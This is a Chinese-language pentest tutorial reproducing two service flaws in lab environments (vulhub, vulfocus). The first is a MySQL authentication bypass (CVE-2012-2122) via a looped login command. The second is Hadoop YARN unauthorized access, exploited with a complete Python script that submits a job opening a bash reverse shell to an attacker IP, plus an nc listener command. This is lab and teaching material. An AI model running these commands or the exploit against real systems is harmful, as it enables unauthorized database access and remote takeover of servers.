什么是服务?
在服务器操作系统安装的时候,会装了比较多的服务。如我们在安装使用mysq数据库时,默认情况下就会开启mysql服务和服务默认端口3306。这些服务就可能产生漏洞。
服务漏洞测试流程:
案例演示:Mysql-未授权访问-CVE-2012-2122利用
受影响版本:
- MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
- MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.
漏洞产生:
当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。
打开vulhub靶场的CVE-2012-2122漏洞环境
漏洞测试:
扫描端口,发现开启了3306端口
猜测可能存在Mysql 身份认证绕过漏洞,于是尝试复现漏洞
攻击者执行连接mysql命令:for i in `seq 1 1000`; do mysql -uroot -pwrong -h 目标ip -P3306 ; done 尝试不断连接目标mysql
经过多次连接成功绕过身份验证,不知道密码依然连接成功
案例演示:Hadoop-未授权访问-内置配合命令执行RCE
使用在线靶场vulfocus复现:https://vulfocus.cn
启动漏洞环境,访问漏洞地址http://123.58.224.8:32561 即可看到Hadoop YARN ResourceManager WebUI页面
漏洞存在判断:
访问/cluster/apps ,如果能成功访问说明漏洞存在
漏洞利用:反弹shell
浏览器搜索漏洞利用exp:
#python exp:
#!/usr/bin/env python
import requests
target = 'http://192.168.241.142:35641/' #目标地址
lhost = '43.134.241.193' # put your local host ip here, and listen at port 9999.接收shell的攻击机ip
url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
},
},
'application-type': 'YARN',
}
requests.post(url, json=data)
攻击机Centos服务器打开 nc 监听端口9999
命令:nc -nvlp 9999
运行脚本,获取shell
执行完脚本之后,查看攻击机,发现成功反弹shell